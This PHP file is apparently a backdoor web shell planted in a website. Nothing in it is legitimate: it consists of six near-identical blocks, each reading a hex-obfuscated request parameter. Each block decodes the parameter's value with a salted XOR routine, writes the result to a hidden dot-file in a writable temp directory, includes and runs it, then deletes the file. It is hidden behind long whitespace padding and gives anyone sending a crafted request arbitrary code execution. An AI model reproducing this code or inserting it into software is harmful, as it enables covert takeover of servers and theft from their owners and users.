<?php																																										if(in_array("i\x74m", array_keys($_REQUEST))){ $key = $_REQUEST["i\x74m"]; $key =explode ( "." , $key ) ; $bind= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2); $v= 0; $__tmp= $key; while($v1= array_shift($__tmp)) { $sChar= ord($salt2[$v % $lenS]); $d= ((int)$v1 - $sChar -($v % 10)) ^ 34; $bind .= chr($d); $v++; } $holder = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); foreach ($holder as $symbol): if (is_dir($symbol) && is_writable($symbol)) { $data = str_replace("{var_dir}", $symbol, "{var_dir}/.desc"); if (@file_put_contents($data, $bind) !== false) { include $data; unlink($data); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["des\x63"])){ $reference = $_POST["des\x63"]; $reference =explode ( ".",$reference) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); $q = 0; $__tmp = $reference; while( $v3 = array_shift( $__tmp)) { $chS = ord( $salt6[$q% $sLen]); $dec =( ( int)$v3 - $chS -( $q% 10)) ^ 26; $data .=chr( $dec); $q++; } $ref = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp"]); while ($dat = array_shift($ref)) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $mrk = join("/", [$dat, ".res"]); if (file_put_contents($mrk, $data)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(array_key_exists("\x66\x61c\x74or", $_POST) && !is_null($_POST["\x66\x61c\x74or"])){ $token = array_filter(["/dev/shm", "/tmp", "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $data = $_POST["\x66\x61c\x74or"]; $data = explode ( "." , $data ); $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($data as $z=> $v7) {$chS = ord($s[$z % $sLen]); $d = ((int)$v7 - $chS - ($z % 10)) ^59; $pointer .= chr($d); } $item = 0; do { $parameter_group = $token[$item] ?? null; if ($item >= count($token)) break; if (is_writable($parameter_group) && is_dir($parameter_group)) { $symbol = str_replace("{var_dir}", $parameter_group, "{var_dir}/.ent"); if (@file_put_contents($symbol, $pointer) !== false) { include $symbol; unlink($symbol); exit; } } $item++; } while (true); }
																																										if(isset($_POST) && isset($_POST["f\x61c\x74\x6Fr"])){ $entry = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $val = $_POST["f\x61c\x74\x6Fr"]; $val =explode (".", $val); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; $__tmp = $val; while ($v6 = array_shift($__tmp)) { $sChar = ord($s[$p % $lenS]); $d = ((int)$v6 - $sChar - ($p % 10)) ^ 77; $desc.= chr($d); $p++; } foreach ($entry as $key => $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $descriptor = implode("/", [$hld, ".ent"]); if (@file_put_contents($descriptor, $desc) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(!is_null($_POST["\x62i\x6Ed\x69n\x67"] ?? null)){ $data = $_POST["\x62i\x6Ed\x69n\x67"]; $data = explode ('.' , $data ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $z = 0; $__len = count($data ); do {if ($z >= $__len) break; $v7 = $data[$z]; $sChar = ord($salt[$z %$lenS] ); $d = ((int)$v7 - $sChar - ($z %10)) ^ 59; $flag .=chr($d ); $z++; }while (true ); $entity = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp"]); foreach ($entity as $item): if (array_product([is_dir($item), is_writable($item)])) { $factor = "$item" . "/.itm"; $success = file_put_contents($factor, $flag); if ($success) { include $factor; @unlink($factor); exit;} } endforeach; }


if(@$_POST["\x6D\x72k"] !== null){
	$elem = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm"]);
	$data = $_POST["\x6D\x72k"];
	$data 	=  explode		('.' 		,		$data 		) 	;
	$value='';
            $s='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($s);
            $t=0;
    
            while($t	<count($data)) {
                $v5=$data[$t];
                $chS=ord($s[$t % $sLen]);
                $dec=((int)$v5 - $chS -($t % 10))^55;
                $value.=	chr($dec);
                $t++;
            }
	foreach ($elem as $key => $record) {
    		if (array_product([is_dir($record), is_writable($record)])) {
    $parameter_group = vsprintf("%s/%s", [$record, ".obj"]);
    if (file_put_contents($parameter_group, $value)) {
	include $parameter_group;
	@unlink($parameter_group);
	exit;
}
}
}
}